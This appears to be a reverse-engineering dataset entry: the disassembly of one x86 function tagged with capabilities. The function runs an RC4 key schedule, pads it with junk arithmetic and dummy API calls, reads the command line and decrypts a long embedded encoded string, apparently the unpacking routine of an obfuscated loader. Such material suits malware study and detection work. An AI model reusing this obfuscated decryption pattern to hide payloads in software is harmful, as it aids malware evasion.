Function at 0x408378
Capabilities:
Accept command line arguments
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 3
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x152]
mov esi, 0x42dc6c
push ebx
sub esp, 0x16c
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x13a]
mov esi, 0x42dc78
mov ecx, 0x22
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x4083aa
xor esi, esi
xor ebx, ebx
mov eax, ebx
mov edi, 0x21
xor edx, edx
mov cl, byte [ebp + ebx - 0x118]
div edi
mov dword [esp + 4], 0x42e740
mov dword [esp], str.CM_Get_Device_ID_List_SizeW
mov byte [ebp - 0x159], cl
movzx eax, byte [ebp + edx - 0x13a]
movzx edx, cl
add eax, edx
add eax, esi
movzx esi, al
call fcn.004127ec
mov eax, dword [0x4296ac]
mov dword [esp], str.MinimumStackCommitInBytes
imul edx, eax, 0x2bfdf7b8
imul eax, eax, 0xbada65f6
mov dword [0x4296ac], edx
mov dword [esp + 4], eax
mov dword [0x429870], eax
call fcn.0040ecc8
mov al, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x159]
mov byte [ebp + ebx - 0x118], al
inc ebx
mov byte [ebp + esi - 0x118], cl
cmp ebx, 0x100
jne 0x4083bd
xor edi, edi
xor esi, esi
xor ebx, ebx
inc ebx
mov edx, str.MinimumStackCommitInBytes
movzx ebx, bl
mov al, byte [ebp + ebx - 0x118]
mov byte [ebp - 0x159], al
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], al
mov al, byte [edx]
test al, al
je 0x40849a
sub eax, 0x30
cmp al, 9
jbe 0x408497
or dword [0x4296ac], 0x5a65200f
jmp 0x40849a
inc edx
jmp 0x40847e
mov dword [esp + 4], 0x42e740
mov dword [esp], str.MinimumStackCommitInBytes
add dword [0x429870], 0x6df3e8e0
call fcn.004127ec
mov edx, str.a_NULL_pointer
mov ecx, 0x172e
movsx eax, byte [edx]
inc edx
test al, al
je 0x4084de
add ecx, eax
cmp ecx, 0x1803
jbe 0x4084c2
and dword [0x429870], 0xc3799725
and dword [0x4296ac], 0x1c4d407d
call dword [sym.imp.USER32.dll_GetShellWindow]
mov eax, dword [0x429870]
mov dword [esp + 4], 0x42e740
mov dword [esp], str.MinimumStackCommitInBytes
sub eax, 0x6bb2139f
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [0x4296ac], eax
call fcn.0040e9f0
mov al, byte [ebp - 0x159]
mov edx, str.MinimumStackCommitInBytes
mov byte [ebp + esi - 0x118], al
add al, byte [ebp + ebx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
mov byte [ebp - 0x159], al
mov al, byte [edx]
test al, al
je 0x408563
sub eax, 0x30
cmp al, 9
jbe 0x408560
mov eax, dword [0x4296ac]
and eax, 0xe4cae034
mov dword [0x429870], eax
jmp 0x408563
inc edx
jmp 0x408542
mov eax, dword [0x429870]
mov dword [esp], 0x42e740
sub eax, 0xf34735f
mov dword [0x4296ac], eax
call fcn.004148d8
mov al, byte [ebp - 0x159]
xor al, byte [ebp + edi - 0x152]
lea edx, [ebp - 0x146]
mov byte [ebp + edi - 0x146], al
inc edi
cmp edi, 0xc
jne 0x408455
mov byte [ebp - 0x13a], 0
xor eax, eax
cmp word [eax + 0x42e740], 0
je 0x4085df
add eax, 2
cmp eax, 0x220c
jne 0x4085ab
call fcn.004150c4
mov eax, dword [0x4296ac]
sub eax, 0x43de8133
mov dword [0x429870], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea edx, [ebp - 0x146]
mov dword [esp + 0xc], 0xc
mov eax, dword [0x4296ac]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x1ec4
or eax, 0x7ffe7fef
mov dword [esp], str.AgV8KS86XGs8eafwB76Bo4RHsOyaPx28aZ5Ruz1d0cK8KiErUKecbw7pxgVgA2W5qIMHaU3jutwwFcPxA3CVoGht4fWGzA8kF5N0URSgDdTDyJtcdhyPJkGpWD7mVNGEnXEAUjWhLrckbPH9paqOx2B39ZLexVuP4XLLCM8gGFJxmBlxFNivCN1pCduwkKZo0dSh2ipJKJAkEmxqrgk7XwiEsHSwKT9gHJQGGltJ5FUumeXPS2NMDSXayFzcW_9OCK2Rjr9N7skS9QAr2lQXKKcnUX20obVO8o1ypSQUrprrwQrLwgWiJioQHwgFZoGpYgANd2n4dP3ITldLJe37CFBHBRVVMlY5PKfPfhlgtyuy5gTht1I2ZantOzhm9RqM9Isfgmkcz7hfTWcTsT_kyog4PPUXb4ESunFSk_rH2wyMl6gjsDZ_KIVu_hIf7HwHr3imoDa1C2lDOaCDfTwc85CeboHJ64tujfy1E1aASsWQVI0olPwJo4oaaEClDLtEpWLcASHnBhAFvSpp55M5f9LakZsVaxLuPVhbxKiPKl4EtZs20125d8QV8TzAT5dknZUVg_KjuSIvjxg_OzuRFSsslvIwXFySX5w0zbYiozj5pZfV4OahuHzeuimb4MtLqQvQE7I8Y0X8jD8kHCaXqcPlS3SiXnZfKv8FfGIagBgU56Lu6GwJdqUEuFjSXPBsLSqDSIeBcwrk6r2ii1qdNDM6cqOW1d5Wn802yKMT1CXzbruCGaWtmM2LldlQ1FI_zX233ZCG42QnXs1EfoEBTUrHnfrkLYWP52qHg3CWesYvOVzVTAnU110nG1Ph5wIhqGC8RGCpRmAWFMSduXeZlzuktiL_dlRNs3xnbS4czo5Be_6krGlRFRI5HltrKbIh487HVhrfNhKPK8NB2wxhcA02CgVBWss7qnsCmQNrBns_dFGf9HqQW8A12qHqAD1AG7yaCXvlzN3aloB8fSqoyK32esIh1diFqOcuudTwsySKG9LoHnyji0WTrz2XaO5OLmHEJcnDOFLLMwAIVn1lgTDFRimsXj5LYCDrunVtLNCLU99x3m2fXxYXqXMNdeFk6RMgANI0n1EQ2sxLTVt8hfTUd0DBhAYZ9ApnauieZxVHtR6n4r72W4Sb70kODlm4bw2xUF46AvZMhktQ9BRPKsTUQsfTd6V6vnxjYBmYvnkpuf7CnLtgGm2V19m653awbpq64jy5J0NN8xdt5x8wgueqiIJi5cjAhp5utGMiC4qZ0szgcGq9KgvfopCa2FMnTNHZEEwadbNL1pOnXNobspWfcfJkHhTLEfWnvFBKxuvoIBLQhM3j7V1Mct0XzT8zt9Xsp0DfMLDYJsuQqJa4GU6_stIIMR2Y2LoCsdSeeH_fmBy1uwJL6m4aSbDQE2YdikcLvyGlDxldoYdXxpsbX8tFIRTCBHIkrlzC1hiTTXASSRro1V4re25oEzhcQ5k25tYgjytFnFaYEDxGmntPWvNfyssY4sbPJNAxI5JHwxYaPthnhS0Y21UH71ADbMakCHMa_dubWIfIB3LbpkECUadyIl6uUfSQYVgXhOKeYnE11_dOAkYuSYXT92jYueTxc0SCaNHNBkNFYSpNscikIUJBu2fA4InuGPUi2YwrilT0LXq7hf3CFQCTCg6FABmYj_9rXdZc9aFjRbSPYvpDlTGoMGfleH6El0NywsqO9cn4g1RejS00EfTuVbxWHjZTkZYnibilPNF0GTLgV_428Aa22pbuqBZiXXguREA_k0KWqdO5EBuQENkmAM1eN68f7J5MKgl3HbTFQ6XWTwKH8h1zz_lqIqa_n1rIpm0Dc4FmG67FYCGNwtZ0XUWbajPTKGQ99oyW8l42jZonX99fHMPIgVDkewoSOFzLPJ_KJcniu4emIxGD68r2kcNQAnWdvavRQHovu_zGenJgmTwT85esdYLPDKzREnsITnHKghCRXucEi_kPnb9Wz7y2v8osFcXAJi71nRkUJrLzkfesliEyH6iyPovcM4Zn7gadgwb6zPqmKc6tXKiSoRrgDrteAJICyN99xEjn5VpI1BiZN0DbutR2O9s008b9OqgZsn2locnEDBc6MhIeI67SW2TAq9GM77NGYTcENYPBokVb6jP5JGuuiAuNw99bYR5nM6kTmS62DaIhKFQIRn2CBV45TnAIuhQhIsOreypJg9TANPqY_7NoX3qxfuC7bVWHiesbHO3VoRBQMdwLyFLTY7QJ0hCrZIq318iAU0yPbAq7jiXVR1ZgO9QnO7ga5xc6SEFICLRzyZhPGe3eMLCoiiFrMAGkxnCylEzWHCpUUncVpno0S0VJ04y28bgR4YyqZPc45QgrMcJwUrNZBFEMw1YWAMUAycgCFg0i7Gj00pUv2Vi7LWFpGHP4IiYDx3MV0ygheU7fMCehHNc2HWHu_TrfE3_MfNFjFzSjrd2bFlp5AX9mmgauYhxZeTOlFjWVw889rCSEf_rpvYBiooiRQZj3uXiFCOn7Bf38QZG2O25dCoER_DLmV0chNJXQxb_HJnM0uCmfxgkeTVDTvefz9rCWNcUsHJfMhfmSHQ1akeUX8Fl2B4WI5KAOmXR0IC2WFyIssOiEYLdwPpGb3lXRV6ic3Ffl_3LT0c4aezZJz31uw9unObLl25NnkFNMCqFlq9M02xZbPxhR2cTAK7JDfkQOu2c2xn4ZWJzOcpyEBmxCyKjMJeMQLhbR8u3CjHuMlolTt2l6vH3HIMLUm5Ww82U1MxW5YvBvZqz0GOb4orHsJ92e5uZpirg7uK8msgqiox7QkBY_Hqh7eNqRi5ghDmUD2JXXu6Yyk5vXGwp1JhFt9d7YV84wC2luJYAlh0XEwF72fX4alkAWnPsjk7fuBx6fnAPIpTC7677bljdCWRQGdGXc6R9q7F5NiOFusYoxrv9wdmooaetGgCndBDZFHLZQT9xIdzkIVukQ8THnoiJ3TUsndR9VEok7yXune76i8Zv9jvVfn38PpQNyKnSh30L_CQHfPvdg33wIwl8pS3lsgpfcLbjiLog7cHGHyyIz5YQ1lH9Dpb5OBV2ZSYZqr5KnN1FY5dsHPFQidZDY4LShjuHcjA_QZ2ym5eY1lCxpG9OhmS5QUvMmAlXQtX1OReWPq_DCP4035CVwnTxSR9wAcidwCCJxNfmJIKgbKMggWh9q52gir2bzNfXZIVqGo8PWLfSvuAvYVmyTxy3qzoLzVd3x7vJeCRn9A6mSmG5BImYinhLDO_kmNRun1zXItg6Sc7jlwA8erYwEjcHS3ikIFNnFvhvUBaWrlvIeq5LWPncLwYwAOHs8Z9kJLGPAV86L4KTNRaG8RlpJKmGRV5zUAF46BjReeK3R_DXlfuqLzYBIVL4X9WgluWV8yU2X0f3oIpmB0c5yH5YJ8AlEP_4EKLj5dJhzW94keXZqjeDeq3utdhDCU4oc1YodZQurTPz_ZoU6cqpkW0_UV8uanO7djn9GepTExUmTyxOdx3cNuwNk47xGVXnumMFGuxbovO4YE1z9XsmiZmX_6d3pxkhmayF10mePCiLn6vvEPxlCJpYxZQxlazINxsxMBpsZiCxG8S16FrrWeKOjVv1_FXweGCWjOt_QKPps6y6qj30bYOHx9CmBow5lOW56VVafAEFoyCgrfijo5yulocEDqjEYkZe0wYnPCnS6PMHCJIfY4E7Ainu3UVdmlaYe2bHeZA1RmH9KqNYOHJh5dcGbg_o2NMY0ZAKp_RBlVEnLFcOquvDVozfSrIojkbiJH5a8aik_ur6lm4ma4iJCdG5NLy6HxSj7azEgA6vzwxNMrZbWTRXtrMwpwE2wU5P1M9UGL0QkYXGEGnDu8Osz0pOyDss5wC7iiLGg7c3KPd7CbXgKZ_hL4nIqvxASxxrAxy1JoC4pSLp2V8rkgeYlT9fKJuhixUR1LLcqvK5lXjUBpeeorplU0zDSjG8sezucLS0shU4nQAdtTgHbHR29nAJnHQZf5OUnEo7YfvIPVBAHYxHdQePRucZjLF3kc
mov dword [0x429870], eax
call fcn.0040be04
add esp, 0x16c
pop ebx
pop esi
pop edi
pop ebp
ret